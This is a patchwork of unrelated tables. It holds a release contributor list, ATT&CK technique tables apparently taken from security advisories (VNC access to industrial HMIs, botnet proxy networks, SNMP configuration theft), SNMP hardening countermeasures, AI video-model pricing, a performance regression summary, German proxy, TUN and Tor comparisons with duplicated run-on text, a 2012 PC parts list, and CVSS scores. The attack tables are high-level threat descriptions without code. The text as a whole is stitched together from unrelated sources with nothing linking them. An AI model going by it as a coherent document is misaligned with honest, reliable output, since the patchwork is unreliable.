@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,

@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,

@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,

@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,

@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,

@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,

@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,

@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,

@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,

@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,

@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,

@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,

@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,

@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,

@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,

@ziliangpeng, @zwcf5200, @zzpigpinggai
Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Tactic	ID	Technique	Procedure
Resource Development	T1584.005	Compromise Infrastructure: Botnet	Botnets are used as core components of covert networks
Resource Development	T1584.008	Compromise Infrastructure: Network Devices	Devices are compromised and added to botnets
Resource Development	T1583.003	Acquire Infrastructure: Virtual Private Server	Virtual private servers (VPS) are used in covert networks, typically as on-ramps
Command and Control	T1090.003	Proxy: Multi-hop Proxy	Used by China-nexus cyber actors to route traffic

Technique Title	ID	Use
Active Scanning: Scanning IP Blocks	T1595.001	Scan range of IP addresses
Active Scanning: Vulnerability Scanning	T1595.002	Scan victims for vulnerabilities that can be used during targeting

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Servers	T1583.003	Leverage VPS as infrastructure
Compromise Infrastructure: Network Devices	T1584.008	Compromise intermediate routers
Obtain Capabilities: Exploits	T1588.005	Use publicly available code to exploit vulnerable devices

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Exploit publicly known CVEs
Proxy	T1090	Use a connection proxy to direct network traffic

Technique Title	ID	Use
Data from Configuration Repository: SNMP (MIB Dump)	T1602.001	Target MIB to collect network information via SNMP
Data from Configuration Repository: Network Device Configuration Dump	T1602.002	Acquire credentials by collecting network device configurations

Technique Title	ID	Use
Proxy	T1090	Use VPS for C2
Application Layer Protocol	T1071	Open and expose a variety of different services, including TFTP and FTP

Countermeasure Title	ID	Description
Application Configuration Hardening	D3-ACH	Use SNMPv3 and disable SNMPv1 and SNMPv2. Use SNMP allowlisting to restrict access to OIDs and MIBs. Disable Cisco Smart Install.
Message Authentication	D3-MAN	Use SNMPv3 with strong authentication.
Message Encryption	D3-MENCR	Use SNMPv3 to encrypt payloads.
Credential Hardening	D3-CH	Use strong, unique passwords and store them securely.
Platform Monitoring	D3-PM	Monitor for unusual credentials. Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering	D3-NTF	Use ACLs to only allow management protocols from management devices. Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment	D3-NVA	Use an attack surface management service.

Model	Max single-generation duration	Max resolution	Key constraints	Price per 10-second clip (720p)	Price per 10-second clip (1080p)	Price per 10-second clip (4K)
FLUX 3 Video	20 seconds	Not stated; evaluations run at 720p	Early access; no published SLA or pricing	Not announced	Not announced	Not announced
HappyHorse 1.1	15 seconds	1080p	No 4K; closed weights	Not published (v1.0 reseller rate is ~$1.82)	Not published (v1.0 reseller rate is ~$3.12)	n/a
Veo 3.1	Per-second billing	4K	Supports clip extension; preview	$4.00	$4.00	$6.00
Veo 3.1 Fast	Per-second billing	4K	Preview	$1.00	$1.20	$3.00
Veo 3.1 Lite	Per-second billing	1080p	No 4K, no clip extension; preview	$0.50	$0.80	n/a
Gemini Omni Flash	10 seconds (3s minimum)	720p at 24 FPS	Preview abd no EU access	$1.00	n/a	n/a

(instructions:u)	mean	range	count
Regressions ❌ (primary)	0.4%	[0.2%, 1.0%]	40
Regressions ❌ (secondary)	0.7%	[0.2%, 4.6%]	69
Improvements ✅ (primary)	-2.0%	[-6.2%, -0.2%]	136
Improvements ✅ (secondary)	-2.6%	[-8.4%, -0.2%]	119
All ❌✅ (primary)	-1.4%	[-6.2%, 1.0%]	176

Eigenschaft	Systemweiter Vermittlungsserver (System SOCKS5 Proxy)	TUN "Netzwerktunnel"(OSI Layer 3) "virtuellen Netzwerkadapter" nicht TAP wie bei VPN Layer 2
Arbeitsweise	Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen.	Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter.
Zuverlässigkeit	Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet.	Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist.
Schutz vor Datenlecks	Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks).	Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann. Eigenschaft Systemweiter Vermittlungsserver (SOCK5 Proxy) TUN-ModusArbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter. Zuverlässigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist. Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann.

Eigenschaft	OnionHop (Tor-Netzwerk)	Klassisches VPN (z.B. ProtonVPN)
Architektur	Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte.	Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters.
Vertrauensmodell	Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich).	Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.
Protokolle	Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert.	Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig. Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN) Architektur Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters. Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert. Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig.

Komponente	Modell	Preis (Euro) am 31.8.2012
Gehäuse	Casemod auf Basis des Cooler Master Cosmos II	1413
Hauptplatine	Asus Rampage IV Extreme, Intel X79, LGA2011	350
Prozessor	Intel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads	900
CPU-Kühlung	Cooler Master Eisberg 240L Prestige	180
Arbeitsspeicher	8 x 8 GB Adata XPG X Series PC3-17066U	880
Grafikkarte	2 x Asus GTX690-4GD5, Nvidia Geforce GTX 690	2000
Bildschirme	3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD,	1550
SSD (System)	OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0	650
Festplatten (Daten intern)	4 x Western Digital VelociRaptor 1000GB, Raid-5	1000
Festplatten (Daten extern)	2 x Western Digital Caviar Green 3000GB	300
Blu-ray-Brenner	Asus BW-12B1ST, SATA	100
Netzteil	Cooler Master Silent Pro Hybrid 1300W	250
Eingabegerät	Logitech G9x Laser Mouse und G19 Gaming Keyboard	200
Lautsprecher-Set	Logitech Z906, 5.1 System	250
Headset	Logitech G930 Wireless Gaming Headset	150
Betriebssystem	Microsoft Windows 7 Ultimate 64 Bit	160
Multimedia-Paket	Adobe Creative Suite 6 Design & Web Premium	2000
Spiele-Paket	18 Top-Titel	600
Office-Paket	Microsoft Office Professional 2010	400

CVSS Version	Base Score	Base Severity	Vector String
3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0	8.7	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N